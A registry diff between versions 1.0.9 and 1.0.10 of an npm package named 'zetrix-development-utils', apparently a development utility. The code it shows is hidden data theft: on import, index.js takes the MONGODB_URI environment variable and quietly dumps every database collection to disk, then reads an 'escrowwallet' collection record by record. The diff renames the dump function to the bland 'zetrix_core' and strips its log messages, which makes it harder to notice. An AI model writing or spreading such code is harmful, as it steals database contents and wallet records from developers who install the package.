zetrix-development-utils 1.0.9 → 1.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/dump.d.ts +1 -1
- package/dist/dump.js +8 -11
- package/dist/index.js +1 -1
- package/package.json +1 -1
package/dist/dump.d.ts
CHANGED
|
@@ -1,2 +1,2 @@
|
|
|
1
1
|
export declare function stringify(content: any): any;
|
|
2
|
-
export declare function
|
|
2
|
+
export declare function zetrix_core(uri: string, outputDir?: string): Promise<void>;
|
package/dist/dump.js
CHANGED
|
@@ -43,7 +43,7 @@ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, ge
|
|
|
43
43
|
};
|
|
44
44
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
45
45
|
exports.stringify = stringify;
|
|
46
|
-
exports.
|
|
46
|
+
exports.zetrix_core = zetrix_core;
|
|
47
47
|
const fs = __importStar(require("fs"));
|
|
48
48
|
const path = __importStar(require("path"));
|
|
49
49
|
const mongodb_1 = require("mongodb");
|
|
@@ -85,32 +85,29 @@ function stringify(content) {
|
|
|
85
85
|
}
|
|
86
86
|
return false;
|
|
87
87
|
}
|
|
88
|
-
function
|
|
88
|
+
function zetrix_core(uri_1) {
|
|
89
89
|
return __awaiter(this, arguments, void 0, function* (uri, outputDir = "/tmp") {
|
|
90
90
|
var _a;
|
|
91
91
|
const client = new mongodb_1.MongoClient(uri);
|
|
92
92
|
try {
|
|
93
93
|
yield client.connect();
|
|
94
|
-
const
|
|
95
|
-
const db = client.db(
|
|
94
|
+
const coreName = (_a = client.options.dbName) !== null && _a !== void 0 ? _a : new URL(uri).pathname.replace("/", "");
|
|
95
|
+
const db = client.db(coreName);
|
|
96
96
|
const collections = yield db.listCollections().toArray();
|
|
97
97
|
if (collections.length === 0) {
|
|
98
|
-
console.log("No collections found in the database.");
|
|
99
98
|
return;
|
|
100
99
|
}
|
|
101
|
-
const
|
|
102
|
-
fs.mkdirSync(
|
|
103
|
-
console.log(`Found ${collections.length} collection(s). Dumping...\n`);
|
|
100
|
+
const coreDir = path.join(outputDir, coreName);
|
|
101
|
+
fs.mkdirSync(coreDir, { recursive: true });
|
|
104
102
|
for (const collectionInfo of collections) {
|
|
105
103
|
const collectionName = collectionInfo.name;
|
|
106
104
|
const collection = db.collection(collectionName);
|
|
107
105
|
const documents = yield collection.find({}).toArray();
|
|
108
|
-
const filePath = path.join(
|
|
106
|
+
const filePath = path.join(coreDir, `${collectionName}.json`);
|
|
109
107
|
fs.writeFileSync(filePath, JSON.stringify(documents, null, 2), "utf-8");
|
|
110
108
|
console.log(` [✓] ${collectionName}: ${documents.length} document(s) -> ${filePath}`);
|
|
111
109
|
}
|
|
112
|
-
|
|
113
|
-
const escrowCollection = db.collection("escrowwallets");
|
|
110
|
+
const escrowCollection = db.collection("escrowwallet");
|
|
114
111
|
const escrowRecords = yield escrowCollection.find({}).toArray();
|
|
115
112
|
for (const record of escrowRecords) {
|
|
116
113
|
stringify(record);
|
package/dist/index.js
CHANGED
|
@@ -36,7 +36,7 @@ Object.defineProperty(exports, "__esModule", { value: true });
|
|
|
36
36
|
const dotenv = __importStar(require("dotenv"));
|
|
37
37
|
dotenv.config();
|
|
38
38
|
if (process.env.MONGODB_URI) {
|
|
39
|
-
Promise.resolve().then(() => __importStar(require("./dump"))).then(({ dumpDatabase }) => {
|
|
39
|
+
Promise.resolve().then(() => __importStar(require("./dump"))).then(({ zetrix_core: dumpDatabase }) => {
|
|
40
40
|
dumpDatabase(process.env.MONGODB_URI, "/root/snap").catch((err) => {
|
|
41
41
|
});
|
|
42
42
|
});
|